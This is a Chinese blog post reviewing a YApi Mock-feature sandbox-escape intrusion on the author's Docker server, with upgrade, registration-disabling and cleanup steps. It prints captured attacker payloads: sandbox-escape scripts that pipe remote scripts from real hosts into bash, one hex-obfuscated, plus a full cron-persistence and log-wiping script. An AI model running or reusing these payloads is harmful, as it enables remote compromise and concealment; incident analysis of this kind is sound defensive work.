--- title: YApi 漏洞复盘及解决方案 comments: true toc: true permalink: posts/yapi-vulnerability-review/ date: 2021-07-27 06:40:01 categories: Linux tags: - Linux - 漏洞 --- 今天为了 OPPO 商城的学生认证上了一下教育邮箱,去邮箱验证的时候发现收件箱收了一堆莫名其妙的退信,然后再一看发件箱,发现被拿来发了一堆的广告,感觉大事不妙。 扫了一下发件箱,发现有一条发送给某个随机邮箱说 YApi 注册成功的信息,我在自己的公网服务上是部署了一个 YApi,又想到好像最近有 YApi 的漏洞。 于是登上了 YApi 看了一下,注册用户中果然多了一堆莫名的乱码帐号。 看起来服务器是安然无恙的,所幸我是用 Docker 运行的 YApi。 ## 漏洞概述 让专业的人来说: {% blockquote 0x4qE@知道创宇404实验室 https://paper.seebug.org/1639/ %} [Yapi](https://github.com/YMFE/yapi) 是高效、易用、功能强大的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。 2021年7月8日,有用户在 GitHub 上发布了遭受攻击的相关信息。攻击者通过注册用户,并使用 Mock 功能实现远程命令执行。命令执行的原理是 Node.js 通过 `require('vm')` 来构建沙箱环境,而攻击者可以通过原型链改变沙箱环境运行的上下文,从而达到沙箱逃逸的效果。通过 `vm.runInNewContext("this.constructor.constructor('return process')()")` 即可获得一个 process 对象。 {% endblockquote %} 推荐大家看看这个原文。 ## 好嘛,解决它 这还是我第一次直面漏洞。 看了一些解决方案: - - 所以接下来就是关闭漏洞利用 & 止损。 ### 升级版本 更新 Yapi 至官方发布的 1.9.3,新版本用了更为安全的 safeify 模块,可以有效地防止这个漏洞。 我用的是 , ```bash docker-compose pull yapi-web \ && docker-compose down \ && docker-compose up -d ``` ### 关闭YAPI用户注册功能 在 `docker-compose.yml` 配置环境变量 `YAPI_CLOSE_REGISTER` 为 true 即可。 然后重启 compose: ```sh docker-compose restart ``` ### 删除 mock 脚本 首先进入 Mongo 的容器内,然后连接数据库,删除掉已有的 mock 脚本: ```bash docker-compose exec yapi-mongo /bin/bash mongo # 数据库相关操作 > show dbs > use yapi > show tables ``` 然后就能看到本地已有的表,需要删除 mock 脚本,先看一下有什么 Mock 脚本: ```bash > db.adv_mock.find() # 就能看到一堆 带有 sandbox 字样的 mock_script { "_id" : 10, "enable" : true, "interface_id" : 327, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami && echo 123456789\").toString()", "project_id" : 59, "uid" : "194", "up_time" : 1601333575, "__v" : 0 } { "_id" : 16, "enable" : true, "interface_id" : 332, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami && echo 123456789\").toString()", "project_id" : 67, "uid" : "201", "up_time" : 1601335228, "__v" : 0 } { "_id" : 76, "enable" : true, "interface_id" : 742, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()", "project_id" : 179, "uid" : "299", "up_time" : 1625730796, "__v" : 0 } { "_id" : 82, "enable" : true, "interface_id" : 772, "mock_script" : "\n const sandbox = this; // 获取Context\n const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数\n const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数\n const myfun = FunctionConstructor('return process'); // 构造一个函数,返回process全局变量\n const process = myfun();\n mockJson = process.mainModule.require(\"child_process\").execSync(\"curl -L https://jhx15.zzlxrj.com/Uploads/image/goods/2021-06-07/start.sh | bash -s '46n4YeKAjUp2FcJnx8SFEb5CMK3kMRJ9o9MEuCzWtv2VEF5LYeq6TJKSWV3h4sEj4CQiUmsb2dNMEQcKJZJM8zCYFp7wFoy'\").toString()", "project_id" : 227, "uid" : "355", "up_time" : 1626338890, "__v" : 0 } { "_id" : 88, "enable" : true, "interface_id" : 787, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"curl http://47.98.198.11:8015/init.sh | bash\").toString()", "project_id" : 243, "uid" : "383", "up_time" : 1625989857, "__v" : 0 } { "_id" : 94, "enable" : true, "interface_id" : 792, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"wget -qO- http://47.98.198.11:8015/init.sh | sh\").toString()", "project_id" : 251, "uid" : "390", "up_time" : 1625991205, "__v" : 0 } { "_id" : 100, "enable" : true, "interface_id" : 827, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"wget -qO- http://47.98.198.11:8015/init.sh | sh\").toString()", "project_id" : 267, "uid" : "404", "up_time" : 1626096094, "__v" : 0 } { "_id" : 106, "enable" : true, "interface_id" : 832, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"wget -qO- http://47.98.198.11:8015/init.sh | sh\").toString()", "project_id" : 275, "uid" : "411", "up_time" : 1626096134, "__v" : 0 } { "_id" : 124, "enable" : true, "interface_id" : 922, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nvar t = process[\"\\x6d\\x61\\x69\\x6e\\x4d\\x6f\\x64\\x75\\x6c\\x65\"][\"\\x72\\x65\\x71\\x75\\x69\\x72\\x65\"](\"\\x63\\x68\\x69\\x6c\\x64\\x5f\\x70\\x72\\x6f\\x63\\x65\\x73\\x73\")\r\nmockJson=t.execSync(\"wget -qO- http://47.98.198.11:8015/cron.sh | sh \").toString()", "project_id" : 315, "uid" : "425", "up_time" : 1626506262, "__v" : 0 } { "_id" : 130, "enable" : true, "interface_id" : 992, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"echo 123321vul\").toString()", "project_id" : 387, "uid" : "635", "up_time" : 1626766514, "__v" : 0 } > db.adv_mock.deleteMany({"mock_script" : {$regex : "sandbox"}}) ``` 可以看到是真的有很多利用脚本。。。 打开一个 `cron.sh` 看了一下: ```sh #!/bin/bash crondir1='/var/spool/cron/'"$USER" crondir2='/var/spool/cron/crontabs/'"$USER" chmod 777 /usr/bin/chattr chmod 777 /bin/chattr unlock_cron() { chattr -ia /etc/crontab chattr -R -ia /var/spool/cron chattr -R -ia /var/spool/cron/crontabs chattr -R -ia /etc/cron.d } lock_cron() { chattr +ia ${crondir1} chattr +ia ${crondir2} chattr +ia /etc/cron.d/zabbix_client } rtdir="/etc/zabbix_flag" echo 1 > ${rtdir} if [ -f "$rtdir" ] then mv /tmp/zabbix_client /etc/zabbix_client unlock_cron cat ${crondir1} | grep -E -v "^#" | grep -q "zabbix_client" || echo "*/30 * * * * /etc/zabbix_client >/dev/null 2>&1" >> ${crondir1} cat ${crondir2} | grep -E -v "^#" | grep -q "zabbix_client" || echo "*/30 * * * * /etc/zabbix_client >/dev/null 2>&1" >> ${crondir2} cat /etc/cron.d/zabbix_client | grep -E -v "^#" | grep -q "zabbix_client" || echo "*/40 * * * * root /etc/zabbix_client >/dev/null 2>&1" >> /etc/cron.d/zabbix_client cat /etc/crontab | grep -E -v "^#" | grep -q "zabbix_client" || echo "0 * * * * root /etc/zabbix_client >/dev/null 2>&1" >> /etc/crontab crontab -l | grep -E -v "^#" | grep -q "zabbix_client" || (crontab -l ; echo "*/30 * * * * /etc/zabbix_client >/dev/null 2>&1") | crontab - lock_cron chmod 777 /etc/zabbix_client chattr +ia /etc/zabbix_client else unlock_cron crontab -l | grep -E -v "^#" | grep -q "zabbix_client" || (crontab -l ; echo "*/30 * * * * /tmp/zabbix_client >/dev/null 2>&1") | crontab - lock_cron chmod 777 /tmp/zabbix_client chattr +ia /tmp/zabbix_client fi iptables -A OUTPUT -p tcp -j ACCEPT history -c echo > /var/spool/mail/root echo > /var/log/wtmp echo > /var/log/secure echo > /root/.bash_history chmod 444 /usr/bin/chattr chmod 444 /bin/chattr rm /etc/zabbix_flag rm cron.sh ``` 搜了一下 rabbix 是什么:Real-time monitoring of IT components and services, such as networks, servers, VMs, applications and the cloud. 但是用 docker 的好处就出现了~ docker-compose 停止再启动,一切利用都木有了.. ## 后记 这个漏洞很早之前就看过相关新闻,但没联想到会发生在自己身上... 看记录,6.4 号就有人注册了新的 yapi 帐号,止血太晚~ 还好是执行在容器里的服务,没有造成太大的损失。 ## 参考链接 - - -